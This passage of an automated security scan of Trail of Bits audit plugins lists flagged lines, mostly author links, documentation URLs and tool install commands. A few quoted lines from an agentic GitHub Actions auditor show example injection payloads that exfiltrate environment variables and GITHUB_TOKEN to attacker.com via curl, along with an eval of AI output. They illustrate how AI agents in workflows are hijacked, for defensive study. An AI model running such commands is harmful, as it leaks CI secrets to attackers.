    "name": "Trail of Bits",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 300
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 301
    "url": "https://github.com/trailofbits"
  • Network accessline 310
    "name": "Facundo Tuesca",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 311
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 312
    "url": "https://github.com/trailofbits"
  • Network accessline 330
    "name": "Trail of Bits",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 331
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 332
    "url": "https://github.com/trailofbits"
  • Network accessline 341
    "name": "Henrik Brodin",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 342
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 343
    "url": "https://github.com/trailofbits"
  • Network accessline 370
    "name": "Trail of Bits",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 371
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 372
    "url": "https://github.com/trailofbits"
  • Network accessline 380
    "author": {         "name": "Scott Arciszewski",         "url": "https://github.com/tob-scott-a"
  • Network accessline 381
    "name": "Scott Arciszewski",         "url": "https://github.com/tob-scott-a"       },
  • Network accessline 382
    "url": "https://github.com/tob-scott-a"
  • Network accessline 399
    "author": {         "name": "Paweł Płatek",         "url": "https://github.com/GrosQuildu"
  • Network accessline 400
    "name": "Paweł Płatek",         "url": "https://github.com/GrosQuildu"       },
  • Network accessline 401
    "url": "https://github.com/GrosQuildu"
  • Network accessline 419
    "name": "Coriolan Pinhas & Benjamin Samuels",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 420
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 421
    "url": "https://github.com/trailofbits"
  • Network accessline 430
    "name": "Alexis Challande",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 431
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 432
    "url": "https://github.com/trailofbits"
  • Network accessline 441
    "name": "Evan Sultanik",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 442
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 443
    "url": "https://github.com/trailofbits"
  • Network accessline 452
    "name": "Evan Sultanik",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 453
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 454
    "url": "https://github.com/trailofbits"
  • Network accessline 463
    "name": "Fredrik Dahlgren",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 464
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 465
    "url": "https://github.com/trailofbits"
  • Network accessline 474
    "name": "Julius Alexandre",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 475
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 476
    "url": "https://github.com/trailofbits"

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md

  • Broad permissionsline 1
    Read Grep Glob Bash
  • Network accessline 58
    | `owner/repo` | owner, repo; ref = default branch | | `owner/repo@ref` | owner, repo, ref (branch, tag, or SHA) | | `https://github.com/owner/repo` | owner, repo; ref = default branch |
  • Network accessline 59
    | `owner/repo@ref` | owner, repo, ref (branch, tag, or SHA) | | `https://github.com/owner/repo` | owner, repo; ref = default branch | | `https://github.com/owner/repo/tree/main/...` | owner, repo; strip extra path segments |
  • Network accessline 60
    | `https://github.com/owner/repo` | owner, repo; ref = default branch |
  • Network accessline 61
    | `https://github.com/owner/repo/tree/main/...` | owner, repo; strip extra path segments |
  • Network accessline 64
    Strip trailing slashes, `.git` suffix, and `www.` prefix. Handle both `http://` and `https://`.
  • Network accessline 314
    - **Header:** Begin with `## Remote Analysis: owner/repo (@ref)` (omit `(@ref)` if using default branch) - **File links:** Each finding's File field includes a clickable GitHub link: `https://github.com/owner/repo/blob/{ref}/.github/workflo
  • Network accessline 315
    - **File links:** Each finding's File field includes a clickable GitHub link: `https://github.com/owner/repo/blob/{ref}/.github/workflows/{filename}`

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/action-profiles.md

  • Dangerous shell operationline 56
    - Safety strategy defaults to `drop-sudo` (removes sudo privileges before running Codex)
  • Dangerous shell operationline 67
    | `safety-strategy: unsafe` | Disables all safety enforcement including sudo restrictions |
  • Dangerous shell operationline 84
    safety-strategy: drop-sudo          # default: removes sudo privileges
  • Dangerous shell operationline 168
    - run: eval "${{ steps.inference.outputs.result }}"

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/cross-file-resolution.md

  • Network accessline 183
    **Composite actions have no `secrets` context.** GitHub's [contexts reference](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts#secrets-context) states it is unavailable there and that a secret must be passed expl
  • Access to secretsline 185
    [Credential-related source omitted]

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/foundations.md

  • Network accessline 98
    `claude-code-action` replaced its input surface at v1. The v0.x names are absent from the v1 `action.yml` and the v1 names are absent from v0.x, so a signature written against one set silently matches nothing in the other. The action's [mig

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md

  • Dangerous shell operationline 51
    [Credential-related source omitted]
  • Network accessline 51
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 72
    The attacker can also chain commands: - `echo $(whoami)` -- identify the runner user - `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars
  • Network accessline 73
    - `echo $(whoami)` -- identify the runner user - `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars - `echo $(cat $RUNNER_TEMP/*.sh)` -- read workflow scripts including secret setup
  • Network accessline 74
    - `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md

  • Dangerous shell operationline 36
    - Python `exec()` or `subprocess` with string formatting from AI output
  • Network accessline 76
    eval gh issue edit "$ISSUE_NUMBER" $LABELS       # eval expands shell metacharacters in AI-generated label values       # attacker crafts: {"labels": ["$(curl attacker.com/exfil?t=$GITHUB_TOKEN)"]}
  • Network accessline 78
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md

  • Access to secretsline 65
    [Credential-related source omitted]

plugins/audit-context-building/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Omar Inuwa",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/audit-context-building/skills/audit-context-building/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/audit-context-building/skills/audit-context-building/resources/ANALYSIS_FORMAT.md

  • Possible obfuscationline 25
    <U+200B>```language
  • Possible obfuscationline 28
    <U+200B>```

plugins/building-secure-contracts/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Omar Inuwa && Paweł Płatek",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md

  • Network accessline 299
    - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/algorand/` - **Tealer Documentation**: https://github.com/crytic/tealer
  • Network accessline 300
    - **Tealer Documentation**: https://github.com/crytic/tealer
  • Network accessline 301
    - **Algorand Developer Docs**: https://developer.algorand.org/docs/
  • Network accessline 302
    - **PyTeal Documentation**: https://pyteal.readthedocs.io/

plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md

  • Network accessline 295
    git clone https://github.com/project/repo.git

plugins/building-secure-contracts/skills/audit-prep-assistant/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/cairo-vulnerability-scanner/SKILL.md

  • Network accessline 63
    ### Tool Support - **Caracal**: Trail of Bits static analyzer for Cairo - Installation: `cargo install --git https://github.com/crytic/caracal --profile release --force` (a Rust tool — not on PyPI)
  • Network accessline 64
    - **Caracal**: Trail of Bits static analyzer for Cairo - Installation: `cargo install --git https://github.com/crytic/caracal --profile release --force` (a Rust tool — not on PyPI) - Usage: `caracal detect src/`
  • Network accessline 65
    - Installation: `cargo install --git https://github.com/crytic/caracal --profile release --force` (a Rust tool — not on PyPI)
  • Network accessline 307
    run: |     # Rebuilds from source each run; cache ~/.cargo or pin a release binary instead.     cargo install --git https://github.com/crytic/caracal --profile release --force
  • Network accessline 308
    # Rebuilds from source each run; cache ~/.cargo or pin a release binary instead.     cargo install --git https://github.com/crytic/caracal --profile release --force     caracal detect src/ --fail-on high,critical
  • Network accessline 309
    cargo install --git https://github.com/crytic/caracal --profile release --force
  • Network accessline 317
    - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/cairo/` - **Caracal**: https://github.com/crytic/caracal
  • Network accessline 318
    - **Caracal**: https://github.com/crytic/caracal
  • Network accessline 319
    - **Cairo Documentation**: https://book.cairo-lang.org/
  • Network accessline 320
    - **StarkNet Documentation**: https://docs.starknet.io/
  • Network accessline 321
    - **OpenZeppelin Cairo Contracts**: https://github.com/OpenZeppelin/cairo-contracts

plugins/building-secure-contracts/skills/cairo-vulnerability-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/code-maturity-assessor/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/SKILL.md

  • Network accessline 185
    - **EVM vulnerabilities**: [EVM_VULNERABILITY_PATTERNS.md](resources/EVM_VULNERABILITY_PATTERNS.md) - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/cosmos/` - **Cosmos SDK Docs**: https://docs.cosmos.netwo
  • Network accessline 186
    - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/cosmos/` - **Cosmos SDK Docs**: https://docs.cosmos.network/ - **CodeQL for Cosmos SDK**: https://github.com/crypto-com/cosmos-sdk-codeql
  • Network accessline 187
    - **Cosmos SDK Docs**: https://docs.cosmos.network/
  • Network accessline 188
    - **CodeQL for Cosmos SDK**: https://github.com/crypto-com/cosmos-sdk-codeql

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/ADVANCED_VULNERABILITY_PATTERNS.md

  • Network accessline 76
    **References**: - [Zellic — Cosmos Security Primer](https://www.zellic.io/blog/exploring-cosmos-a-security-primer/) (Finding 16)
  • Network accessline 77
    - [Zellic — Cosmos Security Primer](https://www.zellic.io/blog/exploring-cosmos-a-security-primer/) (Finding 16)
  • Network accessline 78
    - [Fault Tolerant — Cosmos Security Handbook](https://www.faulttolerant.xyz/2024-01-16-cosmos-security-1/) (Finding 31)
  • Network accessline 79
    - [Node A-Team — Unbonding Period Bypass](https://medium.com/node-a-team/cosmos-hub-security-vulnerability-regarding-redelegation-and-unbonding-e6a2cf03e928) (Finding 14)
  • Network accessline 142
    **References**: - [OtterSec — SEDA Vote Extension Forgery](https://osec.io/blog/2025-06-10-cosmos-security/) (Finding 15)
  • Network accessline 143
    - [OtterSec — SEDA Vote Extension Forgery](https://osec.io/blog/2025-06-10-cosmos-security/) (Finding 15)
  • Network accessline 144
    - [CometBFT Tachyon CSA-2026-001](https://github.com/cometbft/cometbft/security/advisories/GHSA-c32p-wcqj-j677) (Finding 21)
  • Network accessline 145
    - [ASA-2024-003 Vesting on Blocked Addresses](https://github.com/cosmos/cosmos-sdk/security/advisories) (Finding 29)
  • Network accessline 174
    **References**: - [HackerOne Report 2120609](https://hackerone.com/reports/2120609) (Finding 28)
  • Network accessline 175
    - [HackerOne Report 2120609](https://hackerone.com/reports/2120609) (Finding 28)
  • Network accessline 232
    **References**: - [Dragonberry / ICS-23 Proof Forgery](https://forum.cosmos.network/t/ibc-security-advisory-dragonberry/7702) (Finding 3a)
  • Network accessline 233
    - [Dragonberry / ICS-23 Proof Forgery](https://forum.cosmos.network/t/ibc-security-advisory-dragonberry/7702) (Finding 3a)
  • Network accessline 234
    - [Verichains ICS-23 analysis](https://blog.verichains.io/p/vsa-2022-103-cosmos-sdk-forging-membership)
  • Network accessline 235
    - [Dragonfruit / IAVL RangeProof](https://forum.cosmos.network/t/cosmos-sdk-security-advisory-dragonfruit/7614) (Finding 30)
  • Network accessline 236
    - [Gravity Bridge ECDSA malleability](https://maxwelldulin.com/BlogPost/Cryptographic-Asymmetry-and-How-To-Shut-Down-A-CosmosEthereum-Bridge) (Finding 13)

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/COSMWASM_VULNERABILITY_PATTERNS.md

  • Network accessline 39
    **References**: - [CWA-2024-002](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-002.md)
  • Network accessline 40
    - [CWA-2024-002](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-002.md)
  • Network accessline 82
    **References**: - [CWA-2024-006](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-006.md)
  • Network accessline 83
    - [CWA-2024-006](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-006.md)
  • Network accessline 143
    - **CosmWasm Security Advisories**: https://github.com/CosmWasm/advisories
  • Network accessline 144
    - **ibc-go Security Advisories**: https://github.com/cosmos/ibc-go/security/advisories
  • Network accessline 145
    - **Asymmetric Research**: "Cosmos IBC Reentrancy Infinite Mint" — https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/EVM_VULNERABILITY_PATTERNS.md

  • Network accessline 35
    **References**: - [EVM staking precompile infinite delegation](https://forum.cosmos.network/t/critical-evm-precompiled-contract-bug-allowing-unlimited-token-mint/14060) (Finding 7)
  • Network accessline 36
    - [EVM staking precompile infinite delegation](https://forum.cosmos.network/t/critical-evm-precompiled-contract-bug-allowing-unlimited-token-mint/14060) (Finding 7)
  • Network accessline 37
    - [Saga $7M exploit](https://advisories.gitlab.com/pkg/golang/github.com/cosmos/evm/GHSA-54gx-3cgr-7mfm/) (Finding 5)
  • Network accessline 64
    **References**: - [Evmos infinite mint](https://blog.asymmetric.re/evmos-precompile-state-commit-infinite-mint/) (Finding 6)
  • Network accessline 65
    - [Evmos infinite mint](https://blog.asymmetric.re/evmos-precompile-state-commit-infinite-mint/) (Finding 6)
  • Network accessline 101
    **References**: - [Partial precompile state writes](https://github.com/advisories/GHSA-mjfq-3qr2-6g84) (Finding 20)
  • Network accessline 102
    - [Partial precompile state writes](https://github.com/advisories/GHSA-mjfq-3qr2-6g84) (Finding 20)
  • Network accessline 124
    **References**: - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26b)
  • Network accessline 125
    - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26b)
  • Network accessline 146
    **References**: - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26c)
  • Network accessline 147
    - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26c)
  • Network accessline 190
    **References**: - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26a)
  • Network accessline 191
    - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26a)
  • Network accessline 243
    **References**: - [Jump Crypto — Bypassing Ethermint Ante Handlers](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/)
  • Network accessline 244
    - [Jump Crypto — Bypassing Ethermint Ante Handlers](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/)
  • Network accessline 252
    **What to Check**: - [ ] [EVM hooks](https://docs.evmos.org/protocol/modules/evm#hooks) from `x/evm` and `x/erc20` modules reviewed for correctness
  • Network accessline 253
    - [ ] [EVM hooks](https://docs.evmos.org/protocol/modules/evm#hooks) from `x/evm` and `x/erc20` modules reviewed for correctness
  • Network accessline 255
    - [ ] Hooks do not assume EVM state is finalized (it may still be in a cached context) - [ ] Cross-module interactions between `x/evm`, `x/erc20`, `x/bank`, and `x/staking` do not create circular dependencies or reentrancy - [ ] User intera
  • Network accessline 257
    - [ ] User interaction with [module special addresses](https://docs.evmos.org/protocol/module-accounts) reviewed — EVM contracts should not be able to interact with Cosmos module accounts in unexpected ways
  • Network accessline 362
    - **Saga $7M exploit**: https://advisories.gitlab.com/pkg/golang/github.com/cosmos/evm/GHSA-54gx-3cgr-7mfm/
  • Network accessline 363
    - **Evmos infinite mint**: https://blog.asymmetric.re/evmos-precompile-state-commit-infinite-mint/
  • Network accessline 364
    - **EVM staking precompile**: https://forum.cosmos.network/t/critical-evm-precompiled-contract-bug-allowing-unlimited-token-mint/14060
  • Network accessline 365
    - **Partial precompile state writes**: https://github.com/advisories/GHSA-mjfq-3qr2-6g84
  • Network accessline 366
    - **Initia Code4rena**: https://code4rena.com/reports/2025-02-initia-cosmos
  • Network accessline 367
    - **Ethermint ante handler bypass**: https://jumpcrypto.com/bypassing-ethermint-ante-handlers/
  • Network accessline 368
    - **Evmos module accounts**: https://docs.evmos.org/protocol/module-accounts
  • Network accessline 369
    - **Evmos EVM hooks**: https://docs.evmos.org/protocol/modules/evm#hooks

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/IBC_VULNERABILITY_PATTERNS.md

  • Network accessline 7
    **Description**: An attacker can create a malicious chain and [spoof IBC message fields](https://github.com/evmos/evmos/security/advisories/GHSA-5jgq-x857-p8xw). The counterparty chain controls the `sender`, `memo`, and other packet data fi
  • Network accessline 17
    **References**: - [GHSA-5jgq-x857-p8xw](https://github.com/evmos/evmos/security/advisories/GHSA-5jgq-x857-p8xw)
  • Network accessline 18
    - [GHSA-5jgq-x857-p8xw](https://github.com/evmos/evmos/security/advisories/GHSA-5jgq-x857-p8xw)
  • Network accessline 24
    **Description**: **[ibc-go < v10 only]** [`LookupModuleByPort` and `LookupModuleByChannel`](https://github.com/cosmos/ibc-go/issues/71) were problematic APIs in the IBC capability module. They were removed in v10 along with the capability m
  • Network accessline 33
    **References**: - [ibc-go#71](https://github.com/cosmos/ibc-go/issues/71)
  • Network accessline 34
    - [ibc-go#71](https://github.com/cosmos/ibc-go/issues/71)
  • Network accessline 35
    - [#7239](https://github.com/cosmos/ibc-go/pull/7239)
  • Network accessline 36
    - [#7252](https://github.com/cosmos/ibc-go/pull/7252)
  • Network accessline 42
    **Description**: If a user should NOT be able to close an IBC channel, the `OnChanCloseInit` callback must return an error. Failing to do so allows any user to close the channel, disrupting the IBC application. The transfer module [explicit
  • Network accessline 68
    **Description**: When an IBC packet times out or fails, the application must correctly refund tokens. On the source chain, escrowed tokens must be unescrowed; on the sink chain, burned vouchers must be minted back. See [`refundPacketToken`]
  • Network accessline 83
    **Description**: ORDERED channels are [closed on timeout](https://github.com/cosmos/ibc-go/blob/v8.5.2/modules/core/04-channel/keeper/timeout.go) — if a single packet times out, the entire channel is permanently closed. If message order doe
  • Network accessline 94
    **Description**: IBC transfers always mint/burn coins via `x/bank`. If a module maintains internal accounting (e.g., total deposited, collateral tracking), IBC transfers can silently break those invariants by moving tokens without going thr
  • Network accessline 104
    **References**: - [SDK #20517](https://github.com/cosmos/cosmos-sdk/pull/20517)
  • Network accessline 105
    - [SDK #20517](https://github.com/cosmos/cosmos-sdk/pull/20517)
  • Network accessline 146
    **References**: - [ISA-2025-001](https://github.com/cosmos/ibc-go/security/advisories/GHSA-4wf3-5qj9-368v)
  • Network accessline 147
    - [ISA-2025-001](https://github.com/cosmos/ibc-go/security/advisories/GHSA-4wf3-5qj9-368v)
  • Network accessline 148
    - [ASA-2025-004](https://github.com/cosmos/ibc-go/security/advisories/GHSA-jg6f-48ff-5xrw)
  • Network accessline 316
    **References**: - [Osmosis rate limits](https://www.range.org/blog/ibc-rate-limits-introduction-and-state-of-the-art-1-3)
  • Network accessline 317
    - [Osmosis rate limits](https://www.range.org/blog/ibc-rate-limits-introduction-and-state-of-the-art-1-3)
  • Network accessline 318
    - [Cosmos Hub proposal](https://forum.cosmos.network/t/proposal-890-passed-signaling-proposal-ibc-rate-limiting/13410)
  • Network accessline 361
    **References**: - [Architecture review](https://github.com/cosmos/ibc-go/issues/631)
  • Network accessline 362
    - [Architecture review](https://github.com/cosmos/ibc-go/issues/631)
  • Network accessline 363
    - [Genesis default issue](https://github.com/cosmos/ibc-go/issues/6324)
  • Network accessline 376
    **References**: - [Issue](https://github.com/cosmos/ibc-go/issues/6714)
  • Network accessline 377
    - [Issue](https://github.com/cosmos/ibc-go/issues/6714)
  • Network accessline 378
    - [Fix](https://github.com/cosmos/ibc-go/pull/5415)
  • Network accessline 456
    **References**: - [Asymmetric Research — IBC Reentrancy Infinite Mint](https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/)
  • Network accessline 457
    - [Asymmetric Research — IBC Reentrancy Infinite Mint](https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/)
  • Network accessline 458
    - [GHSA-j496-crgh-34mx](https://github.com/cosmos/ibc-go/security/advisories/GHSA-j496-crgh-34mx)
  • Network accessline 459
    - [Terra IBC hooks exploit — $6.4M](https://www.theblock.co/post/308440/attacker-exploits-ibc-hooks-vulnerability-to-steal-tokens-on-terra-blockchain)
  • Network accessline 488
    - **IBC-Go Security Advisories**: https://github.com/cosmos/ibc-go/security/advisories
  • Network accessline 489
    - **IBC-Go Audit Reports**: https://docs.cosmos.network/ibc/v8.5.x/security-audits
  • Network accessline 490
    - **Asymmetric Research**: "Cosmos IBC Reentrancy Infinite Mint" — https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/
  • Network accessline 491
    - **Jump Crypto**: "Huckleberry: IBC Event Hallucinations" — https://jumpcrypto.com/resources/huckleberry-ibc-event-hallucinations
  • Network accessline 492
    - **Cosmos Forum**: IBC Security Advisories — https://forum.cosmos.network/c/security/
  • Network accessline 493
    - **Osmosis Rate Limits**: https://www.range.org/blog/ibc-rate-limits-introduction-and-state-of-the-art-1-3

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/STATE_VULNERABILITY_PATTERNS.md

  • Network accessline 83
    **What to Check**: - [ ] Modules with bank keeper access: [all methods are fully exposed](https://github.com/cosmos/cosmos-sdk/issues/7093) — review every usage for unauthorized mint/burn/transfer
  • Network accessline 84
    - [ ] Modules with bank keeper access: [all methods are fully exposed](https://github.com/cosmos/cosmos-sdk/issues/7093) — review every usage for unauthorized mint/burn/transfer
  • Network accessline 85
    - [ ] [Blocklist](https://docs.cosmos.network/master/modules/bank/02_keepers.html#blocklisting-addresses) prevents unexpected transfers to module accounts
  • Network accessline 86
    - Addresses blocked during startup via bank keeper's argument. Default blocked addresses come from `maccPerms` via `BlockedAddresses()`   - `x/gov` module address explicitly **removed** from blocklist (receives proposal deposits) — verify c
  • Network accessline 87
    - `x/gov` module address explicitly **removed** from blocklist (receives proposal deposits) — verify custom chains make the same intentional exclusions   - Blocklist explicitly checked [whenever new transfer functionality is implemented](ht
  • Network accessline 88
    - Blocklist explicitly checked [whenever new transfer functionality is implemented](https://github.com/cosmos/cosmos-sdk/issues/8463#issuecomment-801046285)
  • Network accessline 89
    - [ ] [`SendEnabled`](https://docs.cosmos.network/v0.45/modules/bank/05_params.html#parameters) prevents unexpected transfers of specific denominations. `DefaultSendEnabled` is true by default
  • Network accessline 90
    - [ ] `SendRestriction` functions (`AppendSendRestriction`, `PrependSendRestriction`) reviewed if used. Order matters (Prepend vs Append). `ClearSendRestriction` removes ALL restrictions. Since v0.53.0, `SendCoins` checks restrictions BEFOR
  • Network accessline 91
    - [ ] `SpendableCoins` used instead of `GetBalance` for accounts with [locked/vesting funds](https://github.com/umee-network/umee/issues/896)
  • Network accessline 92
    - [ ] [Deflationary tokens](https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/62) considered in transfer accounting
  • Network accessline 95
    **References**: [Desmos blocklist vulnerability](https://github.com/desmos-labs/desmos/compare/v0.15.3...v0.15.4)
  • Network accessline 298
    **x/distribution**: - [ ] Historical rewards bounded — overflow can halt chain ([GHSA-p22h-3m2v-cmgh](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-p22h-3m2v-cmgh), fixed v0.53.3). Verify `incrementReferenceCount` and reward
  • Network accessline 299
    - [ ] Historical rewards bounded — overflow can halt chain ([GHSA-p22h-3m2v-cmgh](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-p22h-3m2v-cmgh), fixed v0.53.3). Verify `incrementReferenceCount` and reward accumulation on old
  • Network accessline 301
    **x/staking**: - [ ] Delegator slashing bypass fixed ([GHSA-86h5-xcpx-cfqc](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-86h5-xcpx-cfqc), fixed v0.50.5) — verify slashing applies to all delegations including those created b
  • Network accessline 302
    - [ ] Delegator slashing bypass fixed ([GHSA-86h5-xcpx-cfqc](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-86h5-xcpx-cfqc), fixed v0.50.5) — verify slashing applies to all delegations including those created between infracti
  • Network accessline 303
    - [ ] Panics replaced with error returns in v0.53.0 ([#24391](https://github.com/cosmos/cosmos-sdk/pull/24391)) — custom code catching panics via `recover()` must handle returned errors instead
  • Network accessline 305
    **baseapp**: - [ ] If `ValidateVoteExtensions` helper is used, verify chain runs >= v0.50.5. Original had bug ([GHSA-95rx-m9m5-m94v](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-95rx-m9m5-m94v)) where `currentHeight`/`chain
  • Network accessline 306
    - [ ] If `ValidateVoteExtensions` helper is used, verify chain runs >= v0.50.5. Original had bug ([GHSA-95rx-m9m5-m94v](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-95rx-m9m5-m94v)) where `currentHeight`/`chainID` args were
  • Network accessline 312
    **x/epochs**: - [ ] Epoch hooks (`BeforeEpochStart`, `AfterEpochEnd`) must not panic and must handle errors gracefully. `InvokeSetHooks` had a bug fixed in v0.53.2 ([#24770](https://github.com/cosmos/cosmos-sdk/pull/24770)). `CurrentEpochSt
  • Network accessline 313
    - [ ] Epoch hooks (`BeforeEpochStart`, `AfterEpochEnd`) must not panic and must handle errors gracefully. `InvokeSetHooks` had a bug fixed in v0.53.2 ([#24770](https://github.com/cosmos/cosmos-sdk/pull/24770)). `CurrentEpochStartHeight` sem
  • Network accessline 321
